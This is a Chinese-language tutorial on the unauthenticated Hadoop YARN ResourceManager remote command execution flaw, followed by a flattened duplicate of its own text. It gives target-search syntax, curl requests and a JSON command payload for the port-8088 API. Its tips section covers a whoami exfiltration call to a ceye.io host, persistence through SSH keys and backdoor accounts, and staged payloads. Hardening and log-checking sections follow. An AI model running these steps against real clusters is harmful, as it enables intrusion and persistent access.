大数据-浅析Hadoop命令执行漏洞
字数 1485 2025-08-19 12:41:14

Hadoop命令执行漏洞分析与利用教学文档

一、Hadoop简介

Hadoop是一个由Apache开发的分布式系统基础架构,主要包含两大核心组件:

  1. HDFS (Hadoop Distributed File System)

    • 分布式文件系统
    • 高容错性设计
    • 可部署在低成本硬件上
    • 提供高吞吐量数据访问
  2. YARN (Yet Another Resource Negotiator)

    • Hadoop集群资源管理系统
    • 从Hadoop 2引入
    • 最初为改善MapReduce实现
    • 通用性强,支持多种分布式计算模式

二、YARN架构与关键组件

  1. ResourceManager (RM)

    • 集群资源的主要管理者
    • 接收客户端请求
    • 分配系统资源
  2. ApplicationMaster (AM)

    • 每个应用程序独有的进程
    • 负责与ResourceManager协商资源
    • 与NodeManager协同执行和监控任务
    • 周期性发送心跳报告
  3. NodeManager (NM)

    • 单个节点上的资源管理者
    • 执行具体的任务

三、漏洞原理

Hadoop YARN的ResourceManager在8088端口接收用户提交的应用程序请求,当服务以ROOT权限运行时,攻击者可以通过构造恶意请求实现远程命令执行。

漏洞利用条件:

  1. Hadoop服务以管理员(ROOT)权限运行
  2. YARN的ResourceManager Web UI(8088端口)暴露且未配置认证
  3. 目标系统存在Java环境

四、漏洞利用步骤

步骤1:发现目标

  • 搜索语法:title="All Applications"port=50070
  • 确认8088端口开放

步骤2:申请新的Application ID

curl -v -X POST 'http://target-ip:8088/ws/v1/cluster/apps/new-application'

响应示例:

{
  "application-id": "application_123456789_0001",
  "maximum-resource-capability": {
    "memory": 8192,
    "vCores": 4
  }
}

步骤3:构造恶意请求

创建JSON文件(如1.json),内容如下:

{
  "am-container-spec": {
    "commands": {
      "command": "echo '111' > /var/tmp/test_1"
    }
  },
  "application-id": "application_123456789_0001",
  "application-name": "test",
  "application-type": "YARN"
}

步骤4:提交恶意任务

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://target-ip:8088/ws/v1/cluster/apps --data-binary @1.json

五、高级利用技巧

  1. 结果验证

    • 使用DNSLog或ceye平台验证命令执行
    • 示例命令:curl http://your-subdomain.ceye.io/$(whoami)
  2. 持久化访问

    • 写入SSH公钥到/home/user/.ssh/authorized_keys
    • 创建后门账户
  3. 绕过限制

    • 使用Base64编码命令
    • 分阶段执行(先下载,后执行)

六、防御措施

  1. 权限控制

    • 不以ROOT权限运行Hadoop服务
    • 配置YARN使用普通用户执行任务
  2. 访问控制

    • 启用Kerberos认证
    • 配置防火墙规则限制访问源
  3. 网络隔离

    • 将Hadoop管理接口置于内网
    • 不直接暴露8088端口到公网
  4. 安全配置

    • 禁用匿名访问
    • 配置YARN的ACL

七、检测与排查

  1. 攻击痕迹检查

    • 检查YARN的application日志
    • 查看/var/log/hadoop-yarn目录下的日志文件
    • 检查异常进程和文件创建
  2. 命令示例

    # 查看YARN应用列表
    yarn application -list
    
    # 查看特定应用详情
    yarn application -status <Application-ID>
    
    # 终止可疑应用
    yarn application -kill <Application-ID>
    

八、限制因素

  1. 服务必须以管理员权限启动才能成功执行命令
  2. 如果8088端口配置了认证,会返回"user not authenticated"错误
  3. 在分布式环境中,任务可能被分配到任意节点执行,难以指定特定节点

九、参考命令

Hadoop Job相关命令

  1. 查看Job信息:hadoop job -list
  2. 终止Job:hadoop job -kill job_id
  3. 查看作业详情:hadoop job -history all output-dir
  4. 终止任务:hadoop job -kill-task <task-id>
  5. 使任务失败:hadoop job -fail-task <task-id>

YARN通用命令

yarn [--config confdir] COMMAND [--loglevel loglevel] [GENERIC_OPTIONS] [COMMAND_OPTIONS]

运行JAR文件

yarn jar <jar> [mainClass] args...
Hadoop命令执行漏洞分析与利用教学文档 一、Hadoop简介 Hadoop是一个由Apache开发的分布式系统基础架构,主要包含两大核心组件: HDFS (Hadoop Distributed File System) 分布式文件系统 高容错性设计 可部署在低成本硬件上 提供高吞吐量数据访问 YARN (Yet Another Resource Negotiator) Hadoop集群资源管理系统 从Hadoop 2引入 最初为改善MapReduce实现 通用性强,支持多种分布式计算模式 二、YARN架构与关键组件 ResourceManager (RM) 集群资源的主要管理者 接收客户端请求 分配系统资源 ApplicationMaster (AM) 每个应用程序独有的进程 负责与ResourceManager协商资源 与NodeManager协同执行和监控任务 周期性发送心跳报告 NodeManager (NM) 单个节点上的资源管理者 执行具体的任务 三、漏洞原理 Hadoop YARN的ResourceManager在8088端口接收用户提交的应用程序请求,当服务以ROOT权限运行时,攻击者可以通过构造恶意请求实现远程命令执行。 漏洞利用条件: Hadoop服务以管理员(ROOT)权限运行 YARN的ResourceManager Web UI(8088端口)暴露且未配置认证 目标系统存在Java环境 四、漏洞利用步骤 步骤1:发现目标 搜索语法: title="All Applications" 或 port=50070 确认8088端口开放 步骤2:申请新的Application ID 响应示例: 步骤3:构造恶意请求 创建JSON文件(如1.json),内容如下: 步骤4:提交恶意任务 五、高级利用技巧 结果验证 使用DNSLog或ceye平台验证命令执行 示例命令: curl http://your-subdomain.ceye.io/$(whoami) 持久化访问 写入SSH公钥到 /home/user/.ssh/authorized_keys 创建后门账户 绕过限制 使用Base64编码命令 分阶段执行(先下载,后执行) 六、防御措施 权限控制 不以ROOT权限运行Hadoop服务 配置YARN使用普通用户执行任务 访问控制 启用Kerberos认证 配置防火墙规则限制访问源 网络隔离 将Hadoop管理接口置于内网 不直接暴露8088端口到公网 安全配置 禁用匿名访问 配置YARN的ACL 七、检测与排查 攻击痕迹检查 检查YARN的application日志 查看 /var/log/hadoop-yarn 目录下的日志文件 检查异常进程和文件创建 命令示例 八、限制因素 服务必须以管理员权限启动才能成功执行命令 如果8088端口配置了认证,会返回"user not authenticated"错误 在分布式环境中,任务可能被分配到任意节点执行,难以指定特定节点 九、参考命令 Hadoop Job相关命令 查看Job信息: hadoop job -list 终止Job: hadoop job -kill job_id 查看作业详情: hadoop job -history all output-dir 终止任务: hadoop job -kill-task <task-id> 使任务失败: hadoop job -fail-task <task-id> YARN通用命令 运行JAR文件